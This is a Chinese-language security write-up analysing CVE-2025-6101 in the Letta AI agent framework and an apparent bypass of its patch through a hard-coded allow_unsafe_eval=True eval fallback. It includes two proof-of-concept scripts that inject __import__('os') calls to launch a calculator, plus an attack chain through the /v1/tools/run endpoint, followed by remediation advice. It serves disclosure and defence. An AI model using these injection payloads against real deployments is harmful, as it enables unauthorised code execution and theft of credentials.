引言

随着 AI Agent(智能体)技术的爆发,其核心组件(如工具执行、代码沙箱)的安全性尚未经过充分的实战检验。CVE-2025-6101 是发生在知名开源 AI 记忆框架 Letta(原 MemGPT)中的一个高危漏洞。

本文逆向分析了 CVE-2025-6101 的官方修复补丁,发现其在沙箱底层硬编码了 allow_unsafe_eval=True,导致针对 ast_parsers.py 的 AST 绕过依然可以触发未授权 RCE。

1.实验环境与架构分析

为了精准还原漏洞与验证修复补丁,我们在本地搭建了两个完全隔离的虚拟环境:

  • 版本 A:letta 0.4.1(原始漏洞版本)
  • 版本 B:letta 0.16.4(官方声称已修复的版本)


图注:通过双环境隔离,确保后续测试互不干扰

Letta 允许用户通过 API 动态注册并运行自定义工具。在原始版本(0.4.1)中,系统在处理 Agent 的交互消息时,如果消息以 Running 开头,会正则提取参数并直接送入 eval()。


图注:通过双环境隔离,确保后续测试互不干扰第 183 行提取外部参数,第 190 行直接执行 eval。这是典型的未经净化导致的代码注入

2.阶段 A:原始漏洞利用与 LLM 绕过

为了触发漏洞,我们首先需要获取目标 Agent 的 ID。本地服务启动后(Web UI 可正常访问,见图10),通过调用本地 API,我们成功获取了测试用的 ID(agent-ce75...)。


但在尝试通过 HTTP API (/v1/agents/{id}/messages) 触发时遇到工程难题:本地无外网环境时,请求会被前置的 LLM 意图识别模块拦截,抛出网络超时异常。


图注:通过双环境隔离,确保后续测试互不干扰报错证明恶意请求已被正常路由接收,但在进入漏洞点前被大模型鉴权环节拦截

绕过思路:为了精准验证底层逻辑,我们放弃 HTTP 接口,编写了本地 PoC( local_poc.py )直接调用 CLIInterface 的漏洞函数。这绕过了外部大模型依赖,直击漏洞核心。

#  local_poc.py 
import sys
from letta.interface import CLIInterface

cli = CLIInterface()
payload = "Running archival_memory_insert(__import__('os').system('calc'))"

print(f"[*] 正在向 CLIInterface 传入恶意指令: {payload}")
try:
    # 直接调用漏洞函数,触发 eval
    cli.function_message(payload)
    print("[+] 攻击代码执行完毕!")
except Exception as e:
    print(f"[-] 执行发生错误: {e}")

执行该脚本后成功触发了 RCE,证明了该漏洞的破坏力:



3.阶段 B:补丁逆向与致命缺陷分析

官方在后续版本(0.16.4)中彻底移除了 interface.py 中的逻辑,将代码解析的重心转移到了 ast_parsers.py ,并引入了安全白名单。但这却埋下了更深的安全隐患。

3.1.看似安全的 AST 解析

官方在 resolve_type 函数中试图通过 ast.parse 进行拦截:

  • 防御机制:底层 _resolve_annotation_node 采用白名单机制,遇到 ast.Call 等危险节点时会抛出异常阻断执行。
  • 危险命名空间:第 69 行引入了 vars(builtins),将 import 等危险函数暴露在全局字典中。

3.2.致命的异常处理(Catch 的滥用)

仔细看 79-82 行,当 AST 拦截器抛出异常后,代码进入了 except Exception 分支。如果满足 allow_unsafe_eval=True,它会直接回退到 eval()。
理论上,只要攻击者能让系统以 allow_unsafe_eval=True 运行,就能借助恶意类型注解绕过白名单。

3.3.硬编码导致的防线崩溃

为了验证上述理论,我们对全源码进行了 findstr 关键字检索,发现了导致防线彻底崩溃的“内鬼”:


图注:在 tool_execution_sandbox.py 、 tool_manager.py 等核心沙箱调度链路中,官方竟硬编码将 allow_unsafe_eval 设为了 True!这意味着,安全解析器形同虚设,系统不仅留了后门,还在底层主动开启了它

4.攻击链路重构与 EXP 编写

基于上述逆向,我们可以重构出一条针对最新版(0.16.4)的完整攻击链路:

  • 入口:攻击者无需认证,向 /v1/tools/run 接口发送 POST 请求。
  • 绕过:在提交的工具源码中,构造恶意的类型注解。
  • 触发:系统在初始化工具时,调用 resolve_type。安全解析器遇到 ast.Call 报错。
  • 逃逸:异常被捕获,由于底层硬编码了 True,直接执行 eval,完成沙箱逃逸。

为了方便复现,编写了针对 0.16.4 版本的 PoC( poc_b.py ):

#  poc_b.py 
import sys
from letta.functions.ast_parsers import resolve_type

print("[*] 正在测试  ast_parsers.py  的 eval 回退漏洞...")

# 构造恶意 Payload
malicious_annotation = "__import__('os').popen('calc').read()"

try:
    print(f"[*] 传入恶意注解: {malicious_annotation}")
    # 直接调用 resolve_type,模拟底层沙箱默认开启的硬编码配置
    result = resolve_type(malicious_annotation, allow_unsafe_eval=True)
    print(f"[+] 执行完毕,返回值: {result}")
except Exception as e:
    print(f"[-] 捕获到异常: {e}")

执行该脚本后,即便在修复版中,底层 eval 依然被成功触发,弹出计算器,证实了不完整修复的严重性。

5.危害评估与修复建议

5.1.危害评估(Impact Analysis)

在真实的 AI Agent 框架部署场景中,这种未授权的 RCE 漏洞绝不仅仅是“弹个计算器”那么简单。由于 Agent 业务通常与内网、云端和敏感数据高度交互,该漏洞带来的破坏力呈指数级放大:

  • 核心机密与云端资产失窃:AI 基础设施(如 Docker/K8s 容器)的环境变量中通常存储着高价值的凭据,如 OPENAI_API_KEY、云厂商的 AK/SK、数据库密码等。攻击者可直接读取这些机密,进而导致天价的 LLM 账单消耗,甚至接管云上基础设施。
  • AI 核心记忆与业务逻辑泄露:Letta 的核心卖点是长期记忆(Core Memory)和定制工具。攻击者可通过 RCE 读取 Agent 的上下文状态、系统提示词(System Prompts)以及企业私有的 RAG 知识库,直接导致商业机密泄露,或篡改记忆以实施业务欺诈。
  • 内网横向移动的完美跳板:由于安全沙箱通常部署在企业内网,且具备一定的网络访问权限。攻击者可利用此漏洞获取初始 Shell,进而对内网向量数据库(如 Milvus/Chroma)、模型推理节点发起进一步攻击,穿透企业内网边界。
  • 沙箱逃逸与宿主机沦陷:底层硬编码的回退机制不仅绕过了应用层的防护,若沙箱本身的隔离机制(如基础容器的 cgroup/namespace)存在配置缺陷,攻击者极易从沙箱逃逸至宿主机,拿到服务器最高权限。

5.2.修复建议(Remediation)

针对该漏洞的“不完整修复”现状,开发团队需从代码实现、架构设计与防御纵深三个层面进行彻底整改:

代码层整改(立即执行)

  • 彻底移除 eval 回退:在 ast_parsers.py 的 resolve_type 函数中,遇到无法解析的节点必须直接抛出 ValueError 并阻断业务,绝不允许将外部参数交还给 eval 执行。
  • 收紧危险命名空间:移除第 69 行的 vars(builtins),或者使用安全的白名单字典(如 {"int": int, "str": str, "list": list})来限定作用域,阻断 import 和 exec 的调用链。
  • 清理底层硬编码:全面排查 tool_sandbox 及相关的沙箱调度链路,强制移除 allow_unsafe_eval=True,遵循“默认拒绝(Default Deny)”的安全原则。

架构与纵深防御(长期治理)

  • 强化沙箱执行隔离:对于允许 LLM 动态生成并执行代码的功能,建议引入具有更高隔离级别的安全沙箱(如 gVisor、Firecracker 微虚拟机),而非仅依赖宿主机内的 Python 进程级隔离。
  • 最小权限原则(PoLP):运行 Agent 的容器应配置为非 root 用户执行,并严格限制其对网络和文件系统的访问(如使用只读文件系统、限制出网规则)。
  • 引入 SAST 安全审计:在 CI/CD 流水线中强制引入针对 AI 框架的特有规则扫描(如对 ast.parse 后接 eval 的联动检查,以及关键字 allow_unsafe_eval 的审查),防止类似高危回退代码再次混入主干分支。

6.总结与安全启示

总结:

本文通过对 CVE-2025-6101 从原始复现到补丁绕过的全链路剖析,揭示了 AI Agent 框架中一个极具代表性的底层设计缺陷:跨文件的信任链断裂。官方虽然在应用层引入了 AST 语法树白名单来试图封堵注入漏洞,但由于在底层的沙箱调度基类(tool_sandbox 等)中硬编码开启了 allow_unsafe_eval=True,导致精心设计的防御机制被直接架空。这种“表面打补丁,底层开大门”的做法,不仅让漏洞死灰复燃,更增加了安全测试人员的发现成本。

安全启示:

6.1.AI Agent 的攻击面极度扩张:

与传统 Web 应用不同,AI Agent 为了执行复杂任务,天生具备解析自然语言、动态生成代码、调用系统工具的能力。这使得大模型本身不仅面临提示词注入(Prompt Injection),其后端的代码执行沙箱更是直接暴露在 RCE 的枪口下。

6.2.安全防御必须“下沉”与“零信任”:

在应对 eval/exec 等危险函数时,绝不能依赖上层的参数传递。任何默认放行的回退机制(Fallback)都应被视为高危缺陷。必须坚持“零信任”原则,在执行引擎的最底层强制收口,任何非预期的语法节点都应被直接拦截,而非抛给危险函数去解析。

6.3.代码审计的全局视角:在漏洞挖掘过程中,

当我们发现某个修补点(如默认参数设为 False)时,切忌止步于此。必须通过全局检索(如本文使用的 findstr),顺藤摸瓜去追踪该变量在整个调用链路中的实际赋值情况。往往正是那些被忽视的底层硬编码,构成了绕过防御的致命突破口。